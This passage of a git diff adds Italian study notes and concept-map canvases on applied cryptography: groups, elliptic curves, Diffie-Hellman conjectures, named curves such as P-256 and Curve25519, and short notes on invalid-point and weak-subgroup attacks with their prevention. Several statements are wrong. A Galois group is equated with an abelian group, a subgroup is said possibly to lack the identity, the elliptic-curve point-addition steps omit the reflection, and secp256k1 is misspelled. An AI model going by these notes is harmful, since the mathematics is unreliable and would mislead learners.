+		{"type":"group","id":"f6229a27e7403b4e","x":-880,"y":-640,"width":1000,"height":1000,"color":"6","label":"Merkle hash tree"},
+		{"type":"group","id":"2b305a79165297c9","x":200,"y":-640,"width":440,"height":440,"color":"6","label":"Partial disclosure"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/merkle hash tree.md","id":"7dd5f4845acda0d7","x":-300,"y":-60,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/hash.md","id":"768a576ded528f36","x":-300,"y":-620,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/struttura dati autenticata.md","id":"7f5dd3437fac296d","x":-860,"y":-60,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/partial disclosure.md","id":"37c6fde065869afb","x":220,"y":-620,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"75cd2d25f021e36f","fromNode":"768a576ded528f36","fromSide":"bottom","toNode":"7dd5f4845acda0d7","toSide":"top","toEnd":"none"},
+		{"id":"1a9d6e2467c2f8a8","fromNode":"7f5dd3437fac296d","fromSide":"right","toNode":"7dd5f4845acda0d7","toSide":"left","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/generatore di un gruppo ciclico.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/generatore di un gruppo ciclico.md
new file mode 100644
index 0000000..269e4c9
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/generatore di un gruppo ciclico.md	
@@ -0,0 +1,3 @@
+L'elemento di un [[gruppo ciclico]] a cui può essere applicata ripetutamente l'[[operazione]] per ottenere tutti gli elementi dell'[[insieme]].
+
+Non tutti gli elementi sono obbligatoriamente generatori: ad esempio, il loro [[sottogruppo]] potrebbe non contenere l'identità.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo additivo.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo additivo.md
new file mode 100644
index 0000000..a62032c
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo additivo.md	
@@ -0,0 +1 @@
+[[gruppo]] in cui l'[[operazione]] è l'[[addizione]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico di modulo primo.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico di modulo primo.md
new file mode 100644
index 0000000..5db9665
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico di modulo primo.md	
@@ -0,0 +1,10 @@
+[[gruppo ciclico]] [[gruppo moltiplicativo|moltiplicativo]] particolare, in fa uso di un modulo [[numero primo|primo]]:
+
+$$
+\Large \mathbb{a} = 
+\times, \left\{ 
+{\color{orange} 1}, 2, 3, 4
+\right\} \mod 5
+$$
+
+Tutti i suoi elementi, eccetto l'[[identità]], sono generatori validi di [[sottogruppo|sottogruppi]]. 
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico.md
new file mode 100644
index 0000000..bc95aeb
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico.md	
@@ -0,0 +1,19 @@
+[[gruppo]] in cui tutti i valori dell'insieme si possono ottenere applicando più volte l'operazione su uno degli elementi, detto [[generatore di un gruppo ciclico|generatore]].
+
+## Esempi
+
+### Gruppo *ciclico* moltiplicativo di modulo primo
+$$
+\Large \mathbb{a} = 
+\times, \left\{ 
+{\color{orange} 1}, {\color{lime} 2}, 3, 4
+\right\} \mod 5
+$$
+$$
+\begin{matrix}
+	{\color{lime} 2}^1 &=& {\color{lime} 2} &=& 2 &=& {\color{lime} 2} \mod 5\\
+	{\color{lime} 2}^2 &=& {\color{lime} 2} \times {\color{lime} 2} &=& 4 &=& 4 \mod 5\\
+	{\color{lime} 2}^3 &=& {\color{lime} 2} \times {\color{lime} 2} \times {\color{lime} 2} &=& 8 &=& 3 \mod 5\\
+	{\color{lime} 2}^4 &=& {\color{lime} 2} \times {\color{lime} 2} \times {\color{lime} 2} \times {\color{lime} 2} &=& 16 &=& {\color{orange} 1} \mod 5
+\end{matrix}
+$$
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo di Galois.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo di Galois.md
new file mode 100644
index 0000000..6c83eb0
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo di Galois.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["gruppo abeliano"]
+---
+
+[[gruppo]] in cui vale la [[proprietà commutativa]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo finito.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo finito.md
new file mode 100644
index 0000000..2f2e6ae
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo finito.md	
@@ -0,0 +1 @@
+[[gruppo]] il cui [[ordine di un gruppo|ordine]] è [[finito]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo infinito.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo infinito.md
new file mode 100644
index 0000000..6970d40
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo infinito.md	
@@ -0,0 +1 @@
+[[gruppo]] il cui [[ordine di un gruppo|ordine]] è [[infinito]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo moltiplicativo.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo moltiplicativo.md
new file mode 100644
index 0000000..00660c5
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo moltiplicativo.md	
@@ -0,0 +1 @@
+[[gruppo]] in cui l'[[operazione]] è la [[moltiplicazione]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo.md
new file mode 100644
index 0000000..85c0d3c
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo.md	
@@ -0,0 +1,39 @@
+Astrazione che rappresenta le "categorie" di numeri.
+
+È composto da un [[insieme]] e un'[[operazione binaria]], tali che il gruppo sia:
+- ***chiuso***: qualsiasi risultato dell'operazione è parte dell'insieme
+- ***associativo***: catene dell'operazione possono essere risolte in qualsiasi ordine
+- ***con identità***: un certo elemento dell'insieme viene "ignorato" dall'operazione
+- ***con inverso***: ogni elemento dell'insieme ne ha un'altro tale che se vengono combinati si ottiene l'*identità*
+
+## Esempi
+
+### *Gruppo* [[gruppo additivo|additivo]] dei numeri interi
+
+$$
+\Large \mathbb{Z} = 
++, \left\{ 
+\dots, -1, {\color{orange} 0}, 1, \dots
+\right\}
+$$
+$$
+\begin{matrix}
+	\mathrm{identità} & 1 + {\color{orange} 0} = 1\\
+	\mathrm{inverso} & -1 + 1 = {\color{orange} 0}
+\end{matrix}
+$$
+
+### *Gruppo* [[gruppo moltiplicativo|moltiplicativo]] [[gruppo ciclico|ciclico]] arbitrario
+
+$$
+\Large \mathbb{a} = 
+\times, \left\{ 
+{\color{orange} 1}, 2, 3, 4
+\right\} \mod 5
+$$
+$$
+\begin{matrix}
+	\mathrm{identità} & 2 \times {\color{orange} 1} = 2 = 2 \mod 5\\
+	\mathrm{inverso} & 2 \times 3 = 6 = {\color{orange} 1} \mod 5
+\end{matrix}
+$$
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/ordine di un gruppo.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/ordine di un gruppo.md
new file mode 100644
index 0000000..aac12f0
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/ordine di un gruppo.md	
@@ -0,0 +1 @@
+Il numero degli elementi nell'[[insieme]] del [[gruppo]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/sottogruppo.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/sottogruppo.md
new file mode 100644
index 0000000..8aaa1b5
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/sottogruppo.md	
@@ -0,0 +1,4 @@
+Un [[gruppo]] è *sottogruppo* di un altro quando:
+- usano la stessa [[operazione]]
+- usano la stessa [[identità]]
+- il suo [[insieme]] è [[sottoinsieme]] di quello dell'altro
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/★ mappa concettuale.canvas b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/★ mappa concettuale.canvas
new file mode 100644
index 0000000..1ea6411
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/★ mappa concettuale.canvas	
@@ -0,0 +1,30 @@
+{
+	"nodes":[
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo.md","id":"b0b1eb928801b20d","x":-480,"y":-760,"width":960,"height":640},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico.md","id":"9f4e74c79252c034","x":-480,"y":40,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo moltiplicativo.md","id":"9dc6325795bc84b5","x":640,"y":-360,"width":400,"height":240},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo additivo.md","id":"19ea77acbb19e3bd","x":640,"y":-760,"width":400,"height":240},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/ordine di un gruppo.md","id":"06ff5b7ad2e02c6d","x":-200,"y":-1320,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo finito.md","id":"e337db164039003d","x":-760,"y":-1320,"width":400,"height":120},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo infinito.md","id":"85939a32c6c70335","x":-760,"y":-1040,"width":400,"height":120},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo di Galois.md","id":"8b8aa09a75ab2e1a","x":1200,"y":-560,"width":400,"height":240},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/sottogruppo.md","id":"b99c532d2bac9cd9","x":-1040,"y":-560,"width":400,"height":240},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/generatore di un gruppo ciclico.md","id":"ba78030b01f07217","x":-1040,"y":40,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico di modulo primo.md","id":"178cf680710ecba6","x":-760,"y":600,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"ac0cfbbfb8e9c949","fromNode":"b0b1eb928801b20d","fromSide":"bottom","toNode":"9f4e74c79252c034","toSide":"top","toEnd":"none"},
+		{"id":"218a10ec1bab0327","fromNode":"b0b1eb928801b20d","fromSide":"right","toNode":"9dc6325795bc84b5","toSide":"left","toEnd":"none"},
+		{"id":"e01b0cc0837d93a1","fromNode":"b0b1eb928801b20d","fromSide":"right","toNode":"19ea77acbb19e3bd","toSide":"left","toEnd":"none"},
+		{"id":"f599979d05eef85d","fromNode":"b0b1eb928801b20d","fromSide":"left","toNode":"b99c532d2bac9cd9","toSide":"right","toEnd":"none"},
+		{"id":"e6ab5993a63bb7d5","fromNode":"b0b1eb928801b20d","fromSide":"top","toNode":"06ff5b7ad2e02c6d","toSide":"bottom","toEnd":"none"},
+		{"id":"2be0c721d2b38765","fromNode":"06ff5b7ad2e02c6d","fromSide":"left","toNode":"85939a32c6c70335","toSide":"right","toEnd":"none"},
+		{"id":"faecc6c3e966426b","fromNode":"06ff5b7ad2e02c6d","fromSide":"left","toNode":"e337db164039003d","toSide":"right","toEnd":"none"},
+		{"id":"8f4dfe0fff30a3b5","fromNode":"19ea77acbb19e3bd","fromSide":"right","toNode":"8b8aa09a75ab2e1a","toSide":"left","toEnd":"none"},
+		{"id":"0e619e930b261413","fromNode":"9dc6325795bc84b5","fromSide":"right","toNode":"8b8aa09a75ab2e1a","toSide":"left","toEnd":"none"},
+		{"id":"463ac5beb8bc799b","fromNode":"9f4e74c79252c034","fromSide":"left","toNode":"ba78030b01f07217","toSide":"right","toEnd":"none"},
+		{"id":"dadf31123a30fb96","fromNode":"ba78030b01f07217","fromSide":"top","toNode":"b99c532d2bac9cd9","toSide":"bottom","toEnd":"none"},
+		{"id":"84d48aabc1e326d7","fromNode":"9f4e74c79252c034","fromSide":"bottom","toNode":"178cf680710ecba6","toSide":"top","toEnd":"none"},
+		{"id":"0a766652a8c16064","fromNode":"ba78030b01f07217","fromSide":"bottom","toNode":"178cf680710ecba6","toSide":"top","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/curva ellittica.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/curva ellittica.md
new file mode 100644
index 0000000..845fa94
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/curva ellittica.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["elliptic curve"]
+---
+
+Particolare [[curva]] di [[geometria analitica]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/equazione di Weierstrass.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/equazione di Weierstrass.md
new file mode 100644
index 0000000..1a128cd
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/equazione di Weierstrass.md	
@@ -0,0 +1,16 @@
+---
+aliases: ["forma di Weierstrass", "Weierstrass equation", "Weierstrass form"]
+---
+
+Equazione per [[curva ellittica|curve ellittiche]] particolari ottenute con la seguente formula:
+$$
+\begin{cases}
+	\LARGE y^2 = x^3 + ax + b
+	\\\\
+	4 a^3 + 27 b^2 \neq 0
+\end{cases}
+$$
+
+## #Extra Curve escluse
+
+Le curve non ottenibili con questa equazione sono le [[curva binaria|curve binarie]] e le [[curva di caratteristica 3|curve di caratteristica 3]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/gruppo ciclico su curva ellittica.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/gruppo ciclico su curva ellittica.md
new file mode 100644
index 0000000..8191162
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/gruppo ciclico su curva ellittica.md	
@@ -0,0 +1,11 @@
+[[gruppo ciclico]] costruito da una [[curva ellittica]] generata con l'[[equazione di Weierstrass]]:
+$$
+\Large \mathbb{g} 
+= 
+\left\{
++,
+\forall\ (x, y) \in curva\ \mathrm{mod}\ p
+\right\}
+$$
+
+In questo gruppo, l'elemento di identità è il [[punto a infinito nelle curve ellittiche]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/punto a infinito nelle curve ellittiche.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/punto a infinito nelle curve ellittiche.md
new file mode 100644
index 0000000..982ca1f
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/punto a infinito nelle curve ellittiche.md	
@@ -0,0 +1,5 @@
+Un [[punto]] particolare presente in tutte le curve ellittiche:
+
+$$
+\LARGE \mathbf{O}
+$$
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/somma di punti su curve ellittiche.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/somma di punti su curve ellittiche.md
new file mode 100644
index 0000000..e3cc5f4
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/somma di punti su curve ellittiche.md	
@@ -0,0 +1,10 @@
+La somma $+$ tra due [[punto|punti]] di una [[curva ellittica]] è definita con il seguente algoritmo:
+
+1. **Tracciare una [[retta]]**
+	- Se i due [[punto|punti]] sommati sono lo stesso, traccia la [[retta]] [[tangente]] in quel punto.
+	- Se i due [[punto|punti]] sommati sono diversi, traccia la [[retta]] che li connette.
+2. **Determinare l'intersezione**
+	- Se la retta tracciata interseca la curva, seleziona quel punto come intersezione, e usalo per tracciare una retta parallela all'asse $\mathrm{Y}$.
+	- Se la retta tracciata non interseca la curva, la somma risulta nel [[punto a infinito nelle curve ellittiche|punto a infinito]].
+3. **Determinare la soluzione**
+	- Il punto di intersezione tra la retta e la curva è il risultato.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/★ mappa concettuale.canvas b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/★ mappa concettuale.canvas
new file mode 100644
index 0000000..97c935d
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/★ mappa concettuale.canvas	
@@ -0,0 +1,15 @@
+{
+	"nodes":[
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/curva ellittica.md","id":"2d820d3bd05a8d4e","x":-280,"y":-320,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/equazione di Weierstrass.md","id":"41b17087545568c7","x":280,"y":-320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/somma di punti su curve ellittiche.md","id":"1ffec67ddca3cba5","x":-560,"y":240,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/gruppo ciclico su curva ellittica.md","id":"6622ca4345dbca4d","x":-560,"y":800,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/punto a infinito nelle curve ellittiche.md","id":"d035818432cf220d","x":560,"y":240,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"8dc466e53c657b70","fromNode":"2d820d3bd05a8d4e","fromSide":"right","toNode":"41b17087545568c7","toSide":"left"},
+		{"id":"96a9ec808783e950","fromNode":"2d820d3bd05a8d4e","fromSide":"bottom","toNode":"1ffec67ddca3cba5","toSide":"top"},
+		{"id":"adfc7f4471faa699","fromNode":"1ffec67ddca3cba5","fromSide":"bottom","toNode":"6622ca4345dbca4d","toSide":"top"},
+		{"id":"61daa17f4b8e108c","fromNode":"1ffec67ddca3cba5","fromSide":"right","toNode":"d035818432cf220d","toSide":"left"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve25519.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve25519.md
new file mode 100644
index 0000000..39762c8
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve25519.md	
@@ -0,0 +1,5 @@
+[[curva ellittica]] particolare con [[128-bit]] di [[livello di sicurezza|sicurezza]] se usata nello [[scambio di chiave Diffie-Hellman]].
+
+## #Extra Vedi anche
+
+- [**RFC 7748**](https://www.rfc-editor.org/rfc/rfc7748) in cui è stata introdotta
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve448.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve448.md
new file mode 100644
index 0000000..db43fbf
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve448.md	
@@ -0,0 +1,5 @@
+[[curva ellittica]] particolare con [[224-bit]] di [[livello di sicurezza|sicurezza]] se usata nello [[scambio di chiave Diffie-Hellman]].
+
+## #Extra Vedi anche
+
+- [**RFC 7748**](https://www.rfc-editor.org/rfc/rfc7748) in cui è stata introdotta
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-256.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-256.md
new file mode 100644
index 0000000..dc6750c
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-256.md	
@@ -0,0 +1,11 @@
+---
+aliases: ["secp256r1"]
+---
+
+[[curva ellittica]] particolare con [[128-bit]] di [[livello di sicurezza|sicurezza]] se usata nello [[scambio di chiave Diffie-Hellman]].
+
+I suoi parametri sono generati da un numero opaco selezionato dal [[NIST]]: potrebbe potenzialmente avere una [[backdoor]]!
+
+## #Extra Vedi anche
+
+- [**NIST FIPS 186-4**](https://csrc.nist.gov/publications/detail/fips/186/4/final) in cui è stata introdotta
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-521.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-521.md
new file mode 100644
index 0000000..666dfc7
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-521.md	
@@ -0,0 +1,7 @@
+[[curva ellittica]] particolare con [[256-bit]] di [[livello di sicurezza|sicurezza]] se usata nello [[scambio di chiave Diffie-Hellman]].
+
+I suoi parametri sono generati da un numero opaco selezionato dal [[NIST]]: potrebbe potenzialmente avere una [[backdoor]]!
+
+## #Extra Vedi anche
+
+- [**NIST FIPS 186-4**](https://csrc.nist.gov/publications/detail/fips/186/4/final) in cui è stata introdotta
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Sep256k1.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Sep256k1.md
new file mode 100644
index 0000000..a58ee94
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Sep256k1.md	
@@ -0,0 +1,3 @@
+[[curva ellittica]] particolare utilizzata nell'[[elliptic curve digital signature algorithm]] usato da [[Bitcoin]].
+
+#Extra È una [[curva di Koblitz]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del punto non valido.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del punto non valido.md
new file mode 100644
index 0000000..fa1e630
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del punto non valido.md	
@@ -0,0 +1,7 @@
+# #Extra
+
+[[attacco]] in cui l'[[avversario]] presenta allo [[sfidante]] [[punto|punti]] non appartenenti alla [[curva ellittica]] scelta.
+
+## Prevenzione
+
+È necessario verificare che i punti siano all'interno della curva ellittica scelta sostituendo le loro coordinate nella sua equazione.
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del sottogruppo debole.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del sottogruppo debole.md
new file mode 100644
index 0000000..1458e21
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del sottogruppo debole.md	
@@ -0,0 +1,7 @@
+# #Extra
+
+[[attacco]] in cui l'[[avversario]] presenta allo [[sfidante]] [[punto|punti]] appartenenti ad un [[sottogruppo]] contenente un numero ridotto di elementi, detto *debole*.
+
+## Prevenzione
+
+È necessario verificare che i punti siano all'interno del sottogruppo con il numero massimo di elementi, detto *sicuro*.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave privata.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave privata.md
new file mode 100644
index 0000000..6366436
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave privata.md	
@@ -0,0 +1,13 @@
+---
+aliases: ["private key"]
+---
+
+[[parametro]] sconosciuto della [[congettura Diffie-Hellman classica]].
+
+#TODO Ma non solo.
+
+$$
+\LARGE \color{lime} a
+$$
+
+È un [[blob]] [[imprevedibilità|imprevedibile]] [[non-uniforme]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave pubblica.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave pubblica.md
new file mode 100644
index 0000000..5898e6b
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave pubblica.md	
@@ -0,0 +1,12 @@
+---
+aliases: ["public key"]
+---
+
+[[parametro]] conosciuto della [[congettura Diffie-Hellman classica]].
+
+#TODO Ma non solo.
+$$
+\LARGE \color{orange}g^a
+$$
+
+È un [[blob]] [[imprevedibile]] [[non-uniforme]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman classica.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman classica.md
new file mode 100644
index 0000000..521b908
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman classica.md	
@@ -0,0 +1,12 @@
+[[congettura Diffie-Hellman]].
+
+Conoscendo:
+$$
+\LARGE 
+{\color{orange} g^a}
+$$
+
+È [[esponenziale]] trovare:
+$$
+\LARGE \color{lime} a
+$$
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman computazionale.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman computazionale.md
new file mode 100644
index 0000000..f404a03
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman computazionale.md	
@@ -0,0 +1,14 @@
+[[congettura Diffie-Hellman]].
+
+Conoscendo:
+$$
+\LARGE
+{\color{orange} g^a}
+\quad
+{\color{orange} g^b}
+$$
+
+È [[confidenzialità|confidenziale]]:
+$$
+\LARGE g^{\color{lime} ab}
+$$
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman decisionale.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman decisionale.md
new file mode 100644
index 0000000..18c0a18
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman decisionale.md	
@@ -0,0 +1,15 @@
+[[congettura Diffie-Hellman]].
+
+Conoscendo:
+$$
+\LARGE
+{\color{orange} g^a}
+\quad
+{\color{orange} g^b}
+$$
+
+È [[indistinguibilità|indistinguibile]]:
+$$
+\LARGE
+g^{\color{lime} ab}
+$$
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman.md
new file mode 100644
index 0000000..67af596
